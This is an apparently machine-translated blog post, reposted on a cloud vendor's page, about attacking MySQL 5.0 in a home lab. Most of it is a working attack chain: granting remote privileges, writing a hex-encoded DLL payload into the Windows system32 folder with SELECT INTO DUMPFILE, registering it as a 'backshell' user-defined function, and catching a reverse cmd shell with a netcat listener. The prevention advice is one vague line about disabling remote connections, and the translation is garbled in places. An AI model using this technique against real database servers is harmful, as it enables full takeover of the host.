mysql5.0 intrusion testing and prevention methods sharing _mysql

Source: Internet
Author: User

After doing the previous SQL Server, I would like to try the MySQL intrusion test has been prevented, and share with you.
In general, I have been using MySQL, more familiar with MySQL, compared to the feeling of MySQL more secure, this is only my own wild guess, I hope not to cause any controversy God horse ... A book of steamed bread caused by the murders ...

One of the business

Physics machine: Win7
Virtual machine: XP

Give MySQL remote permissions:

Copy Code code as follows:

Grant all privileges in *.* to database account @ Grant IP identified by ' database password ';
Flush privileges;


To the physical machine remote permissions:

The physical machine successfully connected:

Before performing an intrusion test (there is a picture of the truth):

After the intrusion test is performed (there is a picture of the truth):

Before reboot (there is a picture of the truth):

After reboot (there is a picture of the truth):

The second point:

Write code after remote login, code in Yyd.txt, then write file in MySQL:

Win7 play another cmd, local port map: nc-vv-l-P port number

On virtual machine: Perform mapping: Select Backshell ("Physical Machine IP", port number);

This then performs a 3306 port bounce cmd

(No pictures ... Using a map of the NC Software execution)

Yyd.txt Approximate content:

Copy Code code as follows:

ET @a=concat (",
0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6 740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a0000000000010 0010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001 000000009980200dd020000f19702001400000000c0010090000000000000000000000000000000000000000000000000000000000 ..... It's just part of the code ..... 0736875745F6465696E697400736875745F696E697400);
CREATE TABLE Yyd (data longblob);
INSERT into yyd values (""); updateyyd Set data = @a;
Select data from yyd into DumpFile ' C:\\windows\\system32\\yyd.dll ';
CREATE FUNCTION backshell RETURNS STRING soname ' Yyd.dll ';


The third point:

Prevention

Feel a bit messy, mainly to share two methods of intrusion, but the prevention of that part should be XP on the MySQL service shut down, but early XP did a lot of testing, left after XP was I hang out .... Good disgrace, had to put the MySQL service on the Win7 out.

Think the main or remote connection problem, "if MySQL does not open the remote connection we are still friends," joked, if MySQL does not open a remote connection, the chances of the invasion is much smaller.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.